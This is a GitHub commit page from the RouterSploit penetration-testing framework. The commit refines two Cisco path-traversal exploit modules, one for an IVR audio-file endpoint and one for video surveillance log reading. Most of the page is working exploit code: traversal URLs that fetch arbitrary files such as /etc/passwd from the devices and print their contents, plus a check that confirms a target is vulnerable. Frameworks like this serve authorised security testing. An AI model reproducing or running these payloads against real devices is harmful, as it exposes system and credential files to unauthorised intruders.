Skip to content

Commit

Permalink
Fixing false positives.
Browse files Browse the repository at this point in the history
  • Loading branch information
lucyoa committed May 30, 2016
1 parent 3b71264 commit b9c67c2
Show file tree
Hide file tree
Showing 2 changed files with 26 additions and 20 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -44,17 +44,20 @@ class Exploit(exploits.Exploit):
filename = exploits.Option('/etc/passwd', 'File to read from the filesystem')

def run(self):
url = "{}:{}/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../..{}".format(self.target, self.port, self.filename)
if self.check():
url = "{}:{}/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../..{}".format(self.target, self.port, self.filename)

response = http_request(method="GET", url=url)
if response is None:
return
response = http_request(method="GET", url=url)
if response is None:
return

if response.status_code == 200 and len(response.text):
print_success("Exploit success - reading file {}".format(self.filename))
print_info(response.text)
if response.status_code == 200 and len(response.text):
print_success("Exploit success - reading file {}".format(self.filename))
print_info(response.text)
else:
print_error("Exploit failed - could not read file")
else:
print_error("Exploit failed - could not read file")
print_error("Exploit failed - target seems to be not vulnerable")

@mute
def check(self):
Expand All @@ -64,7 +67,7 @@ def check(self):
if response is None:
return False # target is not vulnerable

if response.status_code == 200 and len(response.text):
if response.status_code == 200 and "admin:" in response.text:
return True # target is vulnerable

return False # target is not vulnerable
25 changes: 14 additions & 11 deletions routersploit/modules/exploits/cisco/video_surv_path_traversal.py
Original file line number Diff line number Diff line change
Expand Up @@ -36,19 +36,22 @@ class Exploit(exploits.Exploit):
filename = exploits.Option('/etc/passwd', 'File to read from the filesystem')

def run(self):
url = "{}:{}/BWT/utils/logs/read_log.jsp?filter=&log=../../../../../../../../..{}".format(self.target, self.port, self.filename)
if self.check():
url = "{}:{}/BWT/utils/logs/read_log.jsp?filter=&log=../../../../../../../../..{}".format(self.target, self.port, self.filename)

response = http_request(method="GET", url=url)
if response is None:
return
response = http_request(method="GET", url=url)
if response is None:
return

if response.status_code == 200 and len(response.text):
print_success("Exploit success")
print_status("Reading file: {}".format(self.filename))
print_info(response.text)
if response.status_code == 200 and len(response.text):
print_success("Exploit success")
print_status("Reading file: {}".format(self.filename))
print_info(response.text)
else:
print_error("Exploit failed - could not read file")
else:
print_error("Exploit failed - could not read file")
print_error("Exploit failed - device seems to be not vulnerable")

@mute
def check(self):
url = "{}:{}/BWT/utils/logs/read_log.jsp?filter=&log=../../../../../../../../../etc/passwd".format(self.target, self.port)
Expand All @@ -57,7 +60,7 @@ def check(self):
if response is None:
return False # target is not vulnerable

if response.status_code == 200 and len(response.text):
if response.status_code == 200 and "admin:" in response.text:
return True # target is vulnerable

return False # target is not vulnerable

0 comments on commit b9c67c2

Please sign in to comment.